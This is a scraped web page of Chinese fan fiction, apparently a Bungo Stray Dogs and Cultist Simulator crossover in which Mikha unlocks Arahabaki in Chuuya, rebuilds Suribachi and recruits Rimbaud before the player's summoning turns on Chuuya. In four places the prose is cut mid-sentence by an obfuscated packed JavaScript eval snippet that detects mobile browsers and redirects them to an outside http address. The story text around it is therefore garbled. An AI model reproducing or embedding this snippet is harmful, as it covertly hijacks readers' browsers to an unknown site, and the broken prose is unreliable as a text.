“打扰你们吃饭了?”中也朝门内看了一眼,拉了拉卫衣的兜帽,“抱歉,那个时候没听完你说话就跑走了,只是……” 米迦看着眼前略显不自在的男孩,回想起几天前在酒店里的情景。 “中原君,你知道你的身体里居住着一位人造的神明吗?” 在他说出这句话之后,男孩的脸色突然变得煞白,他环视了四周一圈,突然推开挡在身前的人,从房间里冲了出去。 “该说抱歉的是我,中原君,”米迦向前一步,细心地合上大门,“我不该当众说出你的隐私,你不想让别人听到,对吧?” “介意陪我散散步吗?”他抬头望望教会的庭院,“我把花园打理得很好,我们去院子里吧。” 中也复杂地看了他一眼,点了点头。 他们沉默地绕着花圃走了一会儿,男孩突然开口。 “荒霸吐……”他的声音生涩,“你说我体内有人造的神明,对吧?他们是这么称呼它的。” “你想知道关于你体内力量的事,”米迦平静地看着他,语气确信,“我也想知道,中原君为什么会如此在意?” “你知道镭钵街吗?”中也低声说,声音哑却急促,“那个因爆炸形成的城镇。两年前,一场原因不明的爆炸将一切连同地面都吹飞了。镭钵街就是在那个遗迹上建立起来的。” “爆炸的原因就是荒霸吐。”他说,“那个时候,我在爆炸的中心醒来,看到地狱一样的景象,土地在沸腾,房子在融化,人……被焚烧殆尽。我的人生就是从这种景象开始的,在那之前的记忆,只有一片黑暗。” “哦,”米迦听了一会儿,明白了他的意思,“你觉得,那不是你?” “我没想伤害任何人。”中也的声音干涩。 米迦轻轻俯下身,像是要对一只惊惶的雏鸟说话,“可那力量就是你的一部分。你逃了,它还是追上你。你否认,它还是沉睡在你体内。” “你想说,我生下来就是怪物吗?”中也像是被狠狠打了一拳,在短暂的不知所措后,反射性地以充满敌意的眼神防御自己,“我之前就想问了,你这家伙为什么会知道这么多?” 面对男孩尖锐的质疑,米迦从容自若,“中原君,你在追寻你的过去,我的确知道一些,但这不该由我来告诉你,有更加适合的人选。” 他意有所指地瞥了一眼花园外,中也茫然地循着他的视线看过去,那里空无一物。 “不过我确实可以提供帮助,关于你的现在和未来。”米迦收回视线,站直身体,双手背在身后。 “那不是怪物,也不是诅咒。”米迦顿了顿,“你体内的力量是一座沉睡的神明——人造的、仿制的、被赋予毁灭命令却从未被赦免过的一位存在。” “我不是神。”中也冷声说。 “当然不是。你是‘神的容器’。”米迦轻轻说。 空气仿佛凝结了一瞬。 “这种容器,不是你自愿成为的。”他继续道,“正如某些武器,从来不曾选择自己要打向谁。” 中也低下头,手指紧紧绞着袖口。 “人没有办法逃开自己的命运,”米迦望向他,“你能无动于衷地砍断自己的手脚吗?或者掏出自己的心脏?接受吧,中原君,祂是你的一部分,同时,你也是祂的一部分,祂是你必须学会驯服的名字。” 风骤然静止。 中也眸光微颤,似是明白了什么,低声问道,“我要怎么做?” “你的体内有一扇门,”他的声音近乎赞叹,“非常精巧的结构,必须要用恰当的密匙才能打开,但是,我有更简单的方法。” “有用来开门的钥匙,也有用来毁门的钥匙,”米迦说,“我的手上刚好有一样不同寻常的物品,如果中原君愿意的话,我可以把它借给你。” “现在,跟我来吧。”他向中也伸出手,“去一切开始的地方。” 中也犹豫了片刻,搭上了他的手。 距离镭钵街形成不过两年,爆炸残留的痕迹仍然依稀可见。街道残破,焦黑的石块堆积如山,泥土中还埋着年久未清的焦骨与弹壳。昔日荒霸吐的怒吼在此留下深深伤痕。 米迦与中也并肩而行,直到巨坑边缘。 “中原君,你在这座城市上撕裂出了巨大的伤痕。”他说。 中也下意识地扭过头,将这句话看成一种指责。 但他并没有反驳,只是默认了,就像理所当然地承担下了这份责任。 “别误会,中原君,我不是在责备你,”米迦说,“过去的事情已经无法改变,但至少,我们能够把握当下。” “你体内的,被你称为‘荒霸吐’的存在,是一位铸相的神明,”他低声解释,“铸是关于火与毁灭准则。” 中也因为这种形容抿了抿唇。 “但事物都是一体两面的,它同时也象征着塑形与新生,”米迦将手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15740181|174131||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 搭在他的肩上,“现在我会打开你体内的门,放出荒霸吐,运用它,修补这个伤口。” “什么!?”中也猛地瞪大眼睛,不敢相信自己听到的话语,“你疯了!” 他急切地说,“你不明白,荒霸吐的力量根本不是那么可控的东西,镭钵街里现在住满了人,你会……我会杀了他们的!” “不会发生那种事情的。”米迦镇定自若。 “你凭什么那么笃定?”中也气笑了,“你对荒霸吐一无所知。” “或许是这样吧,”他坦然承认,“但我了解中原君,会说出不想伤害任何人的中原君,不会放任这种事情发生。” 中也怔住了。 “祂就是你,你就是祂。”米迦轻声说,“你越否定祂,祂就越失控。你越试图压制祂,祂就越撕裂你。祂不是牢笼,祂是你身上的一根骨头,一道疤,一种继承。” “现在,集中精神,我要打开门了。”他说。 不容中也争辩更多,一声音叉的嗡鸣在他的脑中荡开,他整个人都像是被某种力量定住了,动弹不得,呆呆地注视着米迦的眼睛,信者的左眼中跳动着淡紫色的光芒。 中也感觉到,自己体内的某物滑过一道道波动的涟漪,当共振达到某个频率时,门轰然碎裂。 黑色的光芒,随之爆裂而出。 红色的印记,如同伤痕一般的盘踞在男孩的皮肤上, 中也痛苦地仰起头颅,荒神咆哮着,降临于世。 憎恶,作为武器而被随意捏造出的能量体生命,没有人格可言,忠实地执行着破坏一切的本能,双手凝聚出红色的重力黑洞,要将这个世界撕碎,留下深可见骨的伤口。 中也微弱的意识被压缩在身体内部,微弱如风中残烛,绝望地看着眼前的场景,几乎已经能看到末日降临。 然而,这种未来并没有发生。 就像是被无形的锁链牢牢压制住了身体,荒神烦躁地扭动着身体,却无法挣脱。 与此同时,米迦的声音出现在中也的脑海中。 “面对祂,中原君。” 那声音如同照亮黑夜的光芒,温柔地指引着方向,意识被明亮的白光包裹,就像回到了母亲的羊水中。 中也懵懂地跟随着声音,一步一步地向前迈去,在静谧得几乎要将一切吞噬的仁慈的光芒中,他看见了祂。 该怎么称呼祂呢? 科学家会叫祂特异点,神学家会称呼为神明,然而,这一刻,中也理解了,就像米迦所说的那样,祂就是他自己。 铸是关于火与毁灭准则,也是塑形与变化的准则。 要填平创伤,首先要重铸自身。 这一刻,中也无师自通地理解了这一点。 “荒霸吐……”他低声喊着这个由灾难的目击者所取的名字,“我承认你。” 他闭上眼睛,毫无抵抗地与这人造的神明融为一体。 这一刻,新的神明诞生了。 意识之外,米迦皱了皱眉,身体微微摇晃,他吐了口气,低声喃喃,“别在这时候。” …… 桌面上,突发事件突然跳出。 这是你从未见过的图标,苍白的底色上描绘着黑色的卷须,你皱了皱眉,点开事件。 【蠕虫肆虐的季节: 非蛇之蛇,如宝石般光滑而黑暗。吞食蠕虫是有代价的,此时,这代价正找上我。 轰雷之皮能保护我免受伤害,否则,我将失去我的健康。】 你倒吸一口冷气,无声尖叫。 你家人子什么时候染上蠕虫了! 12. 第 12 章 你回想起游戏的开端,在选出身环节,好像确实曾提到过“黑色巨蟒的尸首”什么的,当时你理所当然以为是本篇里常见的一种阻碍——幼妹。 现在看来,可能并非这么简单…… 你想起游戏中曾提及过的,蠕虫是某个名为七蟠的旧日司辰的一条小卷须。而七蟠的本体,正是有七个头颅的蛇形怪兽。 在这个游戏的设定里,蠕虫是一种可怕的寄生生物,无论是对醒时世界,还是对漫宿而言,都是巨大的威胁,甚至能寄生于司辰的尸首之上。 任何头脑清醒的人都不会选择去主动吞食蠕虫,然而,你的人子显然不那么正常。 或者,这一切都是你造成的。 是你开局的选择导致了这件事的发生吗? 你看着桌面上那张半亡的健康,心情并不那么愉快。 你阴沉地拖起一张心相密传,放进事件里——谢天谢地,它是管用的。 你闷闷不乐地继续游戏。 …… 米迦能感觉到,身体里那些蠢动的生物,为了达成那个最终的目标,他选择用自己的身体饲养这些寄生虫,现在,报应来了。 它们在身体的孔窍之间钻动,肆无忌惮地啃食他的血肉,如享用盛宴。 他的主迅速地用轰雷之皮的密传建起了防护,然而,这仍需要时间。 融合只到一半,荒神察觉到身上骤然减轻的封印,微微挪动四肢,在重力的作用下,双脚深深陷入地面,几乎要挣脱。 只是,这种动作很快就被止住了。 米迦阂上双眼,默默调动着所剩不多的无形之术,他面不改色地站在那里,尽管如此,鲜血仍然不断从他的嘴角渗出。 这个人类撑不了多久了,荒神发现了这一点,高热从祂的身体里喷薄而出,空气被扭曲,人造的神明最后奋力一搏。 祂几乎成功了。 如果空气中那金色的立方体没有突然出现的话。 男人穿着厚重的防寒外衣,微卷的黑色长发被防寒耳罩压得微微凹陷,搭在肩膀上,缓步从米迦的身后走来。 “谢谢,帮大忙了,兰波先生。”米迦感受到身上骤减的压力,终于有力气开口,语气仍然很虚弱。 兰波没说话,无数亚空间方块在空中浮现,环绕在荒神的周围,束缚住祂的行动。 这之后,他终于开口,“我希望你知道自己到底在做些什么。” “大部分时候知道。”米迦说,“但这个世界不是总能顺心遂愿,这一点,我想你的体会也很深吧?” 兰波不说话了。 下一秒,荒神突然不再抵抗身上的束缚——他也不再需要了。 冲天的火焰燃起,亚空间、封印,在这炽烈至极的火焰中都被焚烧殆尽。 而改变随火焰而来。 焰束凝聚,压缩,集中于一点。 火焰因为高温而变色,炽烈地跳动着,最后,剧烈的反应归于平静,温和。 少年模样的荒神回头看了米迦他们一眼,然后向前迈出一步。 他闭上双眼,掌心摁住胸口。火焰自他足下腾起,不再如旧日那样狂暴,而是一片炽白的光,像是日出前的地火。 地脉震动。 镭钵街的人们从临时搭建的,并不十分稳固的棚屋中鱼贯而出。 两年前的灾变显然深刻地烙印进了每个人的记忆中,就像这巨大的坑洞一样,留下了难以愈合的伤疤。 人们神色惊慌,四散奔逃,也有人放弃了求生,绝望地就地坐下,有人紧闭双眼,祈求着神明庇护,有母亲紧紧地抱住自己的孩子蹲下,仿佛这样就能免受伤害。 荒神轻轻挥动手臂,动作十分轻柔,伴随着这个手势,焦黑的坑洞像被拉直的肌肉收缩,裂缝合拢,焦石归位,曾爆炸的地段缓缓隆起,一层层石板从地底浮现。 四散的石块不可思议地逆着重力被缓慢地托起,弥合在已经沦为废墟的房屋狰狞的裂口之上。 明明是这样改换天地的壮举,却没有任何人受到伤害,大地像积木一样被神明捏在指尖重塑,却连一颗多余的石子都没有落下。 人们像是进入了某种舒适而坚不可摧的防护罩,慢慢停止了逃窜,茫然地看着四周的景象,后知后觉地意识到。 这是神迹。 被人们命名为荒霸吐的神明,因为人类而得到名字的神明,这次带来的不再是要将万物摧毁的剧烈爆破,而是修复。 某个少年认同了祂,允许祂成为自己的一部分。 兰波站在镭钵街旁的高地上,注视着这副画面良久,他空白的目光在废墟中——或者说那本该是废墟的地方搜寻,仿佛在看当年被他遗失了的另一种抉择。 “兰波先生,你在看中原君吗?” 那声音像是把他从往昔旧梦中唤醒。 兰波微微侧头,看向那个一手促成局面的男人。 米迦站在他身后不远处,神情温和,宛如散步途经,仿佛眼前的景象和他无关似的。 “还是说,在寻找一个过去呢?” 兰波沉默了。没有回答,这本身就是一种默认。 “中原君是你的勃律斯·辛伯吗?”米迦走近一步,目光越过兰波,望向修复后的镭钵街尽头。 兰波没说话。 米迦并不在意他这冷淡的态度,再次开口,“兰波先生,你曾经对一个人说过,他是人类。” “你在说魏尔伦。”这次,他终于有反应了,不是问句,十分确信。 米迦缓缓点头,语气却没有丝毫怜悯,只有洞察。 “你以为承认他为人,就能把他从兵器的命运里拽出来。但他不想成为人。他宁愿是工具,也不愿自我欺骗。” 兰波没有回应。他的手指在微微颤抖。 “而现在你又来了,想用同样的方式,把另一个孩子拯救出来。” 米迦走到他面前,低声问,“你真的准备好了吗?准备好再次面对人会背叛人这件事了吗?” 兰波抿紧了嘴唇,似乎还想反驳。但他内心深处,比任何人都清楚那个结局。 “我不是来嘲笑你。”米迦轻声说,“我是在邀请你。” “邀请我?” “重新 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15740182|174131||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 试一次。” 兰波缓缓抬头,望向米迦的眼睛。 “中原君还太小。他无法理解自己体内的那东西。他还没有选择成为人、兵器,或者更糟糕的东西,”米迦说出那个词的时候,语气近乎喟叹,“神。” “但你……你曾试过一次。你知道怎么陪他走完那条路。” “我已经失败过了。”兰波低声说。 “正因为你失败过,你才比谁都适合留下。”米迦顿了顿,目光温柔,却异常坚定,“留在横滨,兰波。” “不是为了复仇,也不是为了赎罪。只是为了……让一个孩子不必重蹈覆辙。” 兰波沉默地站着,风吹动他的风衣。这一刻,时间仿佛停滞。 许久,他开口了,“他叫什么名字?” “中原中也。”米迦回答。 兰波垂下头,轻声念了一遍那个名字,像是在确认一段命运的开端。 他们的下方,一切已经尘埃落定,城镇像是从来没有受过伤害一样,恢复如初。光芒熄灭,少年荒神被重力缓缓降落,脸上浮现疲惫却兴奋的神情。 “我理解祂了。荒霸吐……”他喃喃,显然,一种难以言说的情绪正回荡在他的胸口,他想说些什么,然而,无论是什么样的语言,大概也无法将这种情感准确地描绘出来。 少年默默地将这种情绪藏进心中,“不,没什么。” 然后他高兴地朝着米迦的方向仰起脑袋,“你看见了吗?我刚才……” 他的话语在目光触及到兰波的瞬间戛然而止,盯着兰波,脸上露出了不可思议的神色。 “我认识你……”他说,语气中带着点困惑,“你是……” 米迦将一条旧旧的围巾披到中也的肩头,少年的面颊被冬日寒风吹得通红,“去吧,中原君。” 他的语气中带着显而易见的鼓励,“我说过,你的过去有更适合的人会告诉你。” “我猜,你们会有很多话想说。” 中也迟疑着,向着兰波的方向迈出一步。 米迦转身走下高地,中途回了一次头,看见矮小的男孩仰着脸,神色认真地听着长发男人的讲述。 他因为这景象微笑了一下,走入了被修复的镭钵街。 人们正狂热地交头接耳,谈论着刚刚发生的事情。 在只有米迦可见的桌面上,一张卡牌正熠熠生光。 【神迹(10阶):一桩人力不可及之事。[提升我的声望,或让身处异界的司辰真身降临。]】 他的目光从桌面上移开,聆听着周遭嘈杂的语言,回到这真实的凡世。 在他目光所触及不到的地方,一个黑发的男孩正坐在倾倒的石柱上,若有所思。 男孩周遭的城镇已被修复如初,然而,诡异的是,只有他所处的那一小片区域,仍旧是昔日废墟的模样。 就仿佛被神明的赐福所忽视的遗忘之地。 “荒霸吐……”男孩低声念着这个新生神明的名字,露出了一个笑容,笑意不达眼底,那双漂亮的鸢色眼睛中,有的仅仅是一片令人胆寒的虚无,“有意思。” 13. 第 13 章 镭钵街本是横滨的垃圾场。 在旧日的爆炸中,这片地段被不明正体的魔兽撕裂,焦土漫延,建筑崩塌,地下管网坍塌如摧折的骨骼,无数尸骸埋在血与钢铁中。 走投无路的人不约而同地汇聚到这片荒土之上,他们用铁片搭起简陋的棚屋,用暴力与犯罪将这篇土地沤成一座混乱的角斗场。 而现在,它安静地恢复了。 这不是人力所能达成的整修。没有动用市政机械,没有发出任何公告。地裂合拢,残垣再筑,焦痕消褪,一夜之间,仿佛被一位无声的神明抚过,祂并没有让时光倒流,而是使城镇以全新的秩序重生。 在横滨地下世界,这种无声的奇迹只意味着一件事。 异能。 究竟是怎样的异能者,才能完成这比肩神明的壮举? 众说纷纭。不过,对于那些掌权者而言,更可怖事实的是——这件事背后并无组织署名。 或者说,并不是他们所熟知的那几个组织。 有目击者称,他们在冬日的晨雾中看到一个西装革履的年轻人带着一个橘发少年站在镭钵街边的高地,像在对话。接着地面发出低沉的轰鸣,整个镭钵街像是醒来了一样。 森鸥外翻动着这些天搜集的来源不可考的消息,若有所思。 这是一处杂乱的郊区诊所,诊室内灯光昏黄,空气中混着艾草烟与药酒味,沙发塌陷、书桌凌乱,一只三花猫蜷在暖炉边打盹。 森鸥外穿着皱巴巴的白大褂,翻着手中的几张纸,半长的黑发随意地搭在肩头,神情散漫,脖子上挂着听诊器,看起来完全是那种不太靠谱的赤脚医生。 “又是镭钵街那件事?”他慢吞吞地问,从纸页上抬起视线,看向对面的人。 “你知道些什么?”来人显然局促不安,视线惊疑地在室内来回游移着,仿佛觉得随时会有人从那个犄角旮瘩里跳出来偷袭他。 不过,他会有这种反应,也是理所当然的。 男人是圣天锡杖残余势力的某位头目,穿着凌乱的西装,显然刚经历过某种逃亡。他的脖子上有密密麻麻的抓痕,这倒不像是被袭击留下的痕迹,更像是他自己抓的。 森鸥外瞥了一眼,就立刻做出了判断——药物戒断反应。 大概自从圣天锡杖一夜之间突然覆灭后,他就一直生活这种身体和精神的双重折磨中。 森鸥外叹了口气,“现在全横滨的流言都往那儿飘。一夜之间,塌陷多年的废墟被填平,混凝土还带着余温。没人知道那家伙是怎么做到的。” “神迹?”男人心不在焉地回答。 森鸥外大为惊奇,仿佛觉得这个猜测非常有趣,语气意味深长,“我还以为,像你们这种人是最不信神的呢。” 他放下手中的纸页,看了眼身侧在暖炉前舒服地伸懒腰的三花猫,“看来你们被吓得不轻?” “当然了,那家伙纯粹是个疯子!”男人骤然提高了声音,因为无法理解,声音中充满了恐惧,“修墓园、救孩子、填废墟,我们根本搞不懂他到底想做什么。” “也许人家只是一个单纯的好人呢,”森鸥外笑眯眯,暗红色的眼瞳内却毫无笑意,带着一种不易被察觉的轻蔑嘲意, “做了那么多好事,你们却觉得他图谋不轨,真冤枉啊。” “不是图谋,是手段。”男人冷声道,“他摧毁了我们的教会,让我们在人前下不来台。” “你们当初在对外的宣讲会上,又是用催眠异能,又是用药物,把人洗得连自己名字都忘了,也挺下得去台的呀。”森鸥外站起身,熟练地药剂柜之间走动。 他的语气中不乏揶揄之意,男人不由对他怒目而视。 这种情绪在森鸥外最终将一小瓶药水丢给他时消失了,“喏,喝下去能减轻药物作用,当然只是暂时的。” 男人如获至宝,迫不及待地将药水一口灌下,却又忍不住心生疑窦,“医生,你到底是站谁那边的?” 森鸥外耸肩,抓了抓后脑勺的头发,“我?我只是一位无证医生,偶尔贩点情报谋生。” 男人狐疑盯着他,“你看起来不简单。” “这个嘛……”森鸥外顾左右而言他,“也许曾经是,也许未来是,反正现在不是。” “但你想知道的那个神秘人的事,我可以劝你一句,别想着用常理揣度他。” “为什么?” “因为那种人啊……”他看着窗外阴沉的天光,像是随口而出,又像是早就想好的总结。 “……他不是在做事,而是在传说中活着。” …… “羊”的废铁仓库内,正在召开一场小型会议。 白炽灯投下稀稀落落的光芒,在那光芒下,是一群过早成熟、又根本来不及成长的少年。他们穿着大一号的皮夹克,围坐成圈,沉默地看着坐在简陋谈判桌对面,那个即将谈条件的陌生人。 中也站在圈外,一动不动。他的眼睛像风暴前凝结的海水。 米迦今天穿一身简单得近乎朴素的灰蓝西服套装,与“羊”的人多势众不同,他身后只跟着乱步。 黑发少年对这种严肃场合适应不良,好奇地左右张望着,这种过于活泼的举动引来了几个“羊”的成员不太友好的目光。 “乱步。”米迦轻轻叫了一声他的名字,黑发少年不太情愿,但还是老老实实站好不动了。 米迦缓缓环视仓库一圈,最后望向那个人群外的橘发少年。 中也没有回避视线,但下颌紧绷得厉害,显然,他从出生以来,还从来没有遇见过这种令人为难的场面。 而显然,“羊”的少年也是如此。 似乎是不想在米迦面前输掉气势,有人已经按捺不住,开口嚷道。 “中也是我们的一员——” 伴随着这句话,少年们七嘴八舌地开口。 “你不能就这样带走他!” “你要带他走,又能留下什么?” 米迦因为最后一句话皱了皱眉头,他身后的乱步更是毫不客气地开口。 “真丢脸。”黑发少年言辞犀利,“躲在一个还没桌子高的小孩身后,接受他的保护,还这样把他当货物换来换去的。” 这句话顿时激起了群愤,仓库内爆出一阵起哄般的质问与反对。几个“羊”的少年猛地站起,有人悄悄握住藏在袖口的匕首,还有人露出狼崽般的牙。 然而,这次米迦并没有制止乱步,他轻轻拍了一下手,明明只是一个简单的动作,仓库却像被强行按下了静音键一般,骤然寂静。 少年们惊恐地对视着,从对方的目光中明白,他们被强制禁言了。 “我知道你们不信我。”米迦开口,和那强硬的动作不同,语气出人意料地温和。 “我并不是来抢走你们的兄弟的。”他的声音不大,却穿透冬日的寒风,直入人心。 “我这次是代表中原君的家人而来,他本人因为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15740183|174131||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身份问题,不方便露面,所以由我代为传达。”米迦说,“中原君的家人想和他一起生活,但是我们尊重中原君本人的意志,也尊重他一直以来的战友。” 他加重了“尊重”这个词的发音,显然意有所指,少年们的脸上露出了不服气的神情。 “我知道,你们能在这个城市活下来,靠的不是谁的施舍,而是彼此之间的信任和背靠背的信任。” 米迦停了一下,话锋一转。 “这是珍贵之物,我并不想毁掉这种信任。” 他从怀中掏出一张简易地图,铺在桌面上。那是一处郊区旧医院的手绘图样,已被他用红笔标注了维修区域和居住规划。 “如果你们愿意,我可以把这栋空置的建筑改造出来,归你们使用。水电、粮食、药品、住宿,我来负责。” “你图什么?”一个年长的少年开口,在发现自己能说话之后,他吃了一惊,尽管如此,还是勉强撑住气势,声音里带着倔强与质疑。 米迦露出一个浅浅的笑。 “中原君的安心。” 他平淡地说,其中的真诚却让少年们一时哑然。 “我知道,像中原君这样的人,是决不愿轻易放弃同伴的。” 他说到这时,轻轻侧过头看了中也一眼。 中也没出声,不太自在地别过头,低头踢着地上的石子。 米迦收回视线,看着那群少年,眼神沉静。 “我想,时至今日,我的组织在镭钵街也算小有名气,但我说这些,并不是想让你们成为我的信徒,也不想用人情绑住你们。” “我只是想告诉你们,”他说,“这个城市已经开始变化。如果你们愿意从那片废墟里走出来,去尝试另一种活法,我愿意帮一把。” “……而不是等你们一个接一个地死在下一个巷口。” 这句话出口,整个仓库陷入短暂的静默。 所有人都明白,米迦说的是事实。 孩子们像这样聚集在一起,正是为了在这座混乱城市中,竭尽全力地生存下去。 而失去了中也,他们这脆弱的组织,又能维持多久呢? 也许是下一次火并,也许是明天。 没有人比镭钵街的孩子们更明白这个世界的残酷与不确定。 风吹动破布帘,哗啦作响,在沉默的氛围中,孩子们心中的立场已经悄然倾泄。 许久之后,有少年低声开口,“……那地方,有热水吗?” 中也猛地抬起头,像是觉得很吃惊。 米迦仿却佛早就预料到了这种情况,轻轻笑了,“有。而且还有热饭。” 这句话像是打开了潘多拉的魔匣,少年们七嘴八舌地提着问题。 通电吗?活动受不受限制?三餐吃什么? 与米迦刚来时那紧绷的氛围不同,少年们的神情已经不知不觉地松动下来,一张张尚且稚嫩的脸上,充满了对未来的向往与渴望。 或许,没有谁真的相信这座城市会容纳他们。 但在这一刻,他们却开始愿意试试看了。 乱步看着眼前的景象,有些无趣地别开视线,隔着人群,朝中也的方向耸了耸肩,做口型道,“我早就说过了吧。” 其实这种行为,和少年们之前提出的“拿好处换人”,并没有什么本质区别。 乱步想,但大叔总有办法把事情做得很漂亮。 这或许就是大人的狡猾之处吧。 14. 第 14 章 你翻看着桌面上的卡牌,【信徒乱步】【信徒作之助】【信徒兰波】【信徒中也】四张卡整整齐齐地被你排在一起,让你非常满足。 你说兰波怎么一直没触发后续呢,原来是和中也的事件连在一起的,这种设定让你觉得很新奇。 本篇里,信徒之间基本是没有什么私交的,一定要说的话,唯一的交集大概是在教主的床上吧——脚踏多条船会触发修罗场剧情。 你曾经一边大喊“我操,恶俗啊”,一边兴致勃勃地尝试过,结果是被积累了太多怨恨的恋人们背刺了,那个档基本是废了,你最后只能选择含泪重开,并对赤杯发誓再也不重蹈覆辙。 虽然赤杯大概只会嘲笑你时间管理做得不到位。 总之,你是不会让你的人子踏入这道深渊的,暂时不会,大概。 同时,你对你的人子和兰波之前对话中提及的【魏尔伦】产生了极大的兴趣。 中也已经很强了,而这种强度的角色这个游戏居然还有第二个! 你衷心希望他不是以对手的身份出现在这个桌面上。 不过如果这种情况真的发生了,你也只能为这个叫魏尔伦的倒霉蛋默哀。 笑死,有你这个玩家在,总不能是你的人子出事吧。 你继续翻看着这次事件提供的其他卡牌。 【羊:这群孩子靠我吃饭,同时也是我街上的眼线,这点花销是值得的,希望它一直值得。】 这是中也成为追随者后自带的组织卡,并不直接算你的追随者。 在你的理解中,它相当于一个全自动探索装置,一回合要吸你一个资金,但同时也会提供一些有价值的卡牌,地点,熟人,雇工,古怪的传闻,街头巷尾的情报之类的,说实话还挺好用的,能把探索空出来干性价比更高的事情。 你现阶段最迫切的目标,就是把每个道路的追随者集齐,鉴于这个dlc没有攻略可查,探索【藏宝地】时会遇到的阻碍是未知的,要是手上没有对应的卡牌,事情会变得很棘手。 你一点也不希望自己的追随者们带着伤口或诅咒回来。 不过还好,你有万能的乱步。 你不久前刚刚发现,把乱步和藏宝地放在一起研究,有90%的可能性会直接查明阻碍,但这件事也有10%的意外。 上次你尝试的时候,这种小概率事件就不幸发生了,你珍贵的15阶灯属性直接爆了一个伤口,吓得你立刻读档了。 想到这里,你忧郁地查看第三张新增卡牌。 【神迹(10阶):一桩人力不可及之事。[提升我的声望,或让身处异界的司辰真身降临。]】 你看着这行字,谨慎地打开控制台,手动存了个档,试探性地将它拖进【作业】里。 【召唤司辰:白日铸炉是毁灭与再造之神,若我决心请她现世,需要足够的铸之力,至少强达三十六阶,并为以火再造之神准备适宜的神体。】 卧槽,牛逼啊。 你看着这行字,顿时振奋不已,你现在最不缺的就是铸属性了,这个神迹本身就带有10阶的铸,再加上中也,无论如何也足够了。 倒是神体,这是你之前从没见过的东西。 你抱着试试看的心态,姑且先把中也拖了进去。 令你感到惊奇的是,在你这番操作之后,右下角原本灰掉的【开始】按钮变成了白色,也就是说,现在的状态已经可以开始召唤。 你乐观地按下了按钮。 …… 横滨,深夜,乌云低垂。 米迦坐在卧室的书桌前,随意地翻动着一本文献,突然,他抬起头,不可置信地盯着天空。 他原本就如同亡者般惨白的面庞现在更是毫无血色,嘴唇微微颤动着,最终抿成一条直线,仿佛在忍受极大的痛苦。 “主啊……请不要……” …… 【人子的悲悯:中也是我们中最好的一个,正直,善良,坚定,如初生的旭日,这个年轻人还有广大的世界可以探索,我真的应当这么做吗?】 叽里咕噜说什么呢? 你莫名其妙地看着这个这个突然跳出来的事件框,既不能交互,也没有任何需要放入的卡牌,让你摸不着头脑。 你决定无视它,解除暂停,快进加速游戏进程。 …… 米迦在书桌前枯坐了一夜。 待到天空染上鱼肚白,鸟鸣自窗外传来,他听见楼下年轻人们打打闹闹的声音。 他站起来,椅子在地板上摩擦出刺耳的噪声。 他的身体因为一夜不变的姿势变得僵硬,下楼的动作也摇摇晃晃。 他在餐厅里找到了中也。 乱步和作之助也在那里,兰波出去了,考虑到种种方便性,在与米迦商议过后,他并没有离开港口黑手党,经常需要回到那里处理一些事务。 餐厅里的追随者们惊讶地看着米迦,他还穿着昨晚的睡衣,对于注重形象的英国人而言,这几乎是不可想象的情况。 中也看着米迦过于惨白的脸色,迟疑地发问,“你还好吗?” 他的目光里是直率的关心和困惑,大概从来没有想过,接下来会发生什么。 “中也,”乱步是第一个明白过来发生了什么的人,就像一直以来的那样,“快跑!” 他的声音里带着不可置信的惊恐,中也下意识地听从。 然而,还是太迟了。 由不稳定之火锻成的锁链凭空出现,尖锐的前端毫不留情地贯穿了中也的身体。 织田的反应也很快,他迅速地抽出枪,瞄准锁链的方向,然而,在预知视野中,那些子弹还没有触及到锁链,就被灼烧的火焰融化了。 既然如此,方法只剩下一个。 他将枪口移到了米迦身上,几秒后就放下了。 “没有用。”他说,语气是少见的动摇。 在预知中,米迦的身前凭空出现了许多淡紫色的小光门,它们精准地预测了弹道,即使预知中的他移动枪口,它们依然不可阻碍地再次出现在子弹的前方。 这些光门将子弹尽数吞噬,然后,从其他方向射出,射中了他和乱步——没有伤害他们的生命,仅仅是使他们失去了行动能力。 “……为什么?”中也的声音颤抖,眼中有惊愕,带着被背叛的痛苦,“你骗了我?” 他尝试挣脱,调动重力,荒霸吐的力量,然而,它们都飞快地逝去了,这就是作为追随者的代价,当一切被放上天秤时, 几乎没有拒绝的权利。 “我很抱歉。”米迦罕见地垂着头,没有看任何人,带着深深的疲惫,他重复了一遍,“我很抱歉,中也。” 工匠只有摧毁他最珍视的工具后,方能达成至高成就。 这就是白日铸炉的教诲。 天空骤然翻转,整座城市如同一座疯狂运转的巨大机器 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 